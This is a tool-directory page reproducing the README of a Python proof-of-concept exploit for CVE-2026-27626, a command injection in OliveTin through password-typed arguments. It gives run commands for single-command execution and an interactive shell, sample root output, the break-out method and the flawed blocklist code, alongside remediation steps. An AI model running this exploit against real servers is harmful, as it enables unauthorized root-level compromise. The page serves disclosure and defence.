Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/shisones/cve-2026-27626
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubshisones/cve-2026-27626

CVE-2026-27626

Python proof-of-concept for CVE-2026-27626: discovers OliveTin password-typed arguments, breaks out of sh -c quoting to inject commands, and provides an interactive shell.

View Repository
1 month agoNot yet reviewed
Share

CVE-2026-27626: OliveTin OS Command Injection

CVE-2026-27626 CVSS 9.9 Python 3.7+ Dependencies none License MIT

A small proof-of-concept for CVE-2026-27626, an OS command injection in OliveTin.

OliveTin's Shell-mode safety check blocks several dangerous argument types before a value reaches sh -c, but it forgets password. A password-typed argument therefore accepts shell metacharacters and escapes the action template's quoting. Anyone who can reach the API gets command execution as the OliveTin process, and root when OliveTin is (mis)configured to run as root.

Warning: for authorized security testing only. Use this against systems you own or have explicit permission to test.

Affected versions

ItemDetails
AffectedOliveTin <= 3000.10.0
Fixedcommit 4bbd2ea
CVSS v3.19.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, CWE-78)
AdvisoryGHSA-49gm-hh7w-wfvf

Requirements

Python 3.7+. Standard library only, no dependencies.

Usage

git clone https://github.com/Shisones/CVE-2026-27626.git
cd CVE-2026-27626
chmod +x exploit.py

./exploit.py --check                          # is it vulnerable? (exploits nothing)
./exploit.py --cmd 'id'                       # run one command
./exploit.py --cmd 'id' -u http://10.0.0.5:1337
./exploit.py --shell                          # interactive shell

The action and argument are auto-discovered. If discovery is restricted, point it at a specific injection point:

./exploit.py -a backup_database -n db_pass --cmd 'id'

Options

-u, --url URL          OliveTin base URL (default: http://127.0.0.1:1337)
-a, --action BINDING   Force the action bindingId
-n, --arg NAME         Force the password argument name
-v, --verbose          Show request details
-h, --help             Show this help

Modes (mutually exclusive):
--check                Passive check only (never triggers an action)
--cmd CMD              Run one command and print its output
--shell                Interactive command shell

Example

$ ./exploit.py --check
[*] Target: http://127.0.0.1:1337
[*] Mode: passive check (no action will be triggered)
[*] Server version: 3000.10.0
[!] Version 3000.10.0 is in the affected range
[+] Injection point: action 'backup_database', argument 'db_pass'
[+] Target appears VULNERABLE to CVE-2026-27626
[*] Exploit with --cmd '<command>' or --shell
$ ./exploit.py --cmd 'id'
[*] Target: http://127.0.0.1:1337
[*] Injection point: action 'backup_database', argument 'db_pass'
[*] Testing 6 break-out pattern(s)...
[+] Command injection confirmed as root: uid=0(root) gid=0(root) groups=0(root)

uid=0(root) gid=0(root) groups=0(root)

How it works

  1. Discovery: calls GetDashboard and finds an action that exposes a password-typed argument (canExec enabled).
  2. Break-out: sends the action with the password argument set to a candidate payload and checks whether an injected id executes. The action template's quoting is not exposed by the API, so a few common patterns are tried (-v shows each one).
  3. Execution: runs commands through the working break-out. The injected command's output is redirected to a temp file on the target and read back, so run the tool from a shell on the target (the usual local-privesc case).

The vulnerable code is checkShellArgumentSafety() in service/internal/executor/arguments.go, whose blocklist omits password while values are interpolated into a sh -c string:

unsafe := map[string]bool{
    "url": true, "email": true,
    "raw_string_multiline": true, "very_dangerous_raw_string": true,
    // "password" is absent  <-- the bug
}

Remediation

  • Upgrade OliveTin past commit 4bbd2eab1532.
  • Run OliveTin as an unprivileged, dedicated user, never root.
  • Prefer exec actions, or avoid user-controlled values in sh -c templates.
  • Set authRequireGuestsToLogin: true and restrict the API to trusted networks.

Disclaimer

Provided for authorized security testing, research and education. You are responsible for complying with all applicable laws. The authors accept no liability for misuse or damage caused by this tool.

References

  • GHSA-49gm-hh7w-wfvf: https://github.com/advisories/GHSA-49gm-hh7w-wfvf
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-27626
  • Fix commit: https://github.com/OliveTin/OliveTin/commit/4bbd2eab153287dc744ad061c58af7693f0c3ddc
  • Reporter: @ByamB4

License

MIT

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →